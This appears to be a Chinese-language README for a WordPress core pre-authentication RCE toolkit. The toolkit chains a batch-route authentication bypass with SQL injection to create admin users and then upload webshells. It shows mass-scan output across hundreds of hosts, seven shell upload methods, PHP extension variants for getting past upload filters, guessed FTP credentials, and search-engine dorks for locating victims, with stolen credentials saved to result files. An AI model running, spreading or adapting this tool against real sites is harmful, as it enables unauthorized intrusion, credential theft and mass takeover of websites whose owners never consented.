wp2shell — WordPress 核心预认证 RCE

CVE-2026-63030（批量路由混淆）+ CVE-2026-60137（SQL 注入）

针对 WordPress 核心 wp2shell 漏洞链的零依赖利用工具包。仅需一个匿名 HTTP 请求，即可在默认 WordPress 安装上实现远程代码执行，无需任何插件。

📋 目录

受影响版本
利用流程
快速开始
演示
功能特性
上传方法
输出文件
Dork / 搜索
参考
免责声明

🎯 受影响版本

版本范围	影响	修复版本
7.0.0 – 7.0.1	完整 RCE	7.0.2
6.9.0 – 6.9.4	完整 RCE	6.9.5

无需任何插件或特殊配置。 裸装的 WordPress 安装即可被利用。

🔗 利用流程

┌─────────────────────────────────────┐
│  ANONYMOUS HTTP REQUEST             │
│  POST /?rest_route=/batch/v1        │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-63030: Batch Desync       │
│  Malformed path → WP_Error →        │
│  Array misalignment → Auth Bypass   │
└────────────────┬────────────────────┘
                 │
┌────────────────▼────────────────────┐
│  CVE-2026-60137: SQL Injection      │
│  author__not_in → unsanitized →     │
│  UNION SELECT extraction            │
└────────────────┬────────────────────┘
                 │
     ┌───────────┼───────────┐
     │           │           │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed  │ │ Blind  │ │ Changeset    │
│ Seeding │ │ SQLi   │ │ Re-entrancy  │
│ Write   │ │ Read   │ │ Escalation   │
│ Cache   │ │ IDs    │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
     │           │           │
     └───────────┼───────────┘
                 │
┌────────────────▼────────────────────┐
│  ADMIN CREATED (pre-auth!)          │
│  → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘

🚀 快速开始

pip install requests
python exploit.py

╔══════════════════════════════════════════════════════════════╗
║  WP2SHELL — WordPress Core Pre-Auth RCE Exploit              ║
║  CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137    ║
║  Affected: WP 6.9.0 – 7.0.1  |  Fixed: 6.9.5 / 7.0.2       ║
╚══════════════════════════════════════════════════════════════╝

  [?] Target [url/list.txt] > list.txt
  [?] Threads [15] > 15

单个目标

python exploit.py

  [?] Target [url/list.txt] > https://vulnerable-site.com

  ┌────────────────────────────────────────────────────────┐
  │                    SCAN CONFIGURATION                   │
  ├────────────────────────────────────────────────────────┤
  │  Targets : 1       Threads  : 1      Dir  : wp_core_rce│
  └────────────────────────────────────────────────────────┘

  ┌────────────────────────────────────────────────────────┐
  │  EXPLOIT SUCCESS                                       │
  ├────────────────────────────────────────────────────────┤
  │  Method : direct-plugin                                │
  │  Shell  : https://target.com/wp-content/plugins/...  │
  │  Login  : https://target.com/wp-login.php              │
  │  User   : wp2s_abc123def                               │
  │  Pass   : WP2S!xxxxxxxxxxxxxxxx                        │
  └────────────────────────────────────────────────────────┘

批量扫描

python exploit.py

┌────────────────────────────────────────────────────────┐
│                    SCAN CONFIGURATION                   │
├────────────────────────────────────────────────────────┤
│  Targets : 500    Threads  : 15     Dir  : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│            │                                        │              │
│  #/TOTAL   │ HOST                                   │ STATUS       │
├────────────┼────────────────────────────────────────┼──────────────┤
│    1/500   │ vulnerable-site.com                    │ SHELL        │
│            │   ↳ direct-plugin → https://vulnerabl...             │
│    2/500   │ target2.com                            │ ADM          │
│    3/500   │ safe-site.org                          │ SQLi         │
│    4/500   │ nope.com                               │ NO           │
│    5/500   │ jackpot.net                            │ SHELL        │
│            │   ↳ theme-editor → https://jackpot.ne...              │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│  SHELL     2   ADMIN    3   SQLi   15   TOTAL    50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│  result.txt         │  admin credentials               │
│  result_upload.txt  │  shell upload URLs               │
│  log/scanned.txt    │  scanned hosts                   │
└────────────────────────────────────────────────────────┘

✨ 功能特性

零依赖 — 仅使用 Python 3.11+ 标准库（requests 仅供扩展器使用）
多线程 — 默认 15 线程，最高 30 线程
自动续扫 — log/scanned.txt 自动跳过已扫描的目标
静默批量模式 — 干净的表格输出，无日志刷屏
自动检测 — 自动检查 WordPress + 批量 API + SQLi 可用性
7 种并行上传方法 — 率先成功者获胜的竞争条件

📤 上传方法

所有 7 种方法通过 ThreadPoolExecutor 并行执行。最先成功的方法获胜，其余方法均被取消。

媒体上传扩展名： .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP

尝试的 FTP 凭据： localhost / 127.0.0.1，搭配 root / www-data / WordPress 管理员凭据

📁 输出文件

文件	内容
`result.txt`	管理员凭据：`url.com/wp-login.php:user:pass`
`result_upload.txt`	Shell 地址：`shell_url \| login_url:user:pass \| method`
`log/scanned.txt`	所有已扫描的主机（重新运行时自动跳过）

🔍 Dork / 搜索

Shodan

http.title:"WordPress"
http.component:"WordPress"

Fofa

app="WordPress"
body="wp-json"
body="/batch/v1"

ZoomEye

app:"WordPress"
"/wp-json/batch/v1"

Censys

services.http.response.body:"/wp-json/batch/v1"

📚 参考

⚠️ 免责声明

本工具仅供授权的安全研究与渗透测试使用。仅可用于您拥有或已获得明确书面许可测试的系统。作者对任何滥用行为不承担任何责任。

📄 许可证

MIT 许可证。详见 LICENSE。

1	`direct-plugin`	通过 `/wp-admin/plugin-install.php` 上传 zip
2	`direct-theme`	通过 `/wp-admin/theme-install.php` 上传 zip
3	`rest-api`	携带认证 cookie 将 zip POST 到 `/wp-json/wp/v2/plugins`
4	`plugin-editor`	通过 `/wp-admin/plugin-editor.php` 直接写入 PHP
5	`theme-editor`	将 PHP 写入当前启用的主题目录
6	`ftp-bypass`	当 WordPress 要求时提交 FTP 凭据
7	`media-upload`	通过媒体库上传 PHP，支持 15 种扩展名变体

CVE-2026-63030

最受欢迎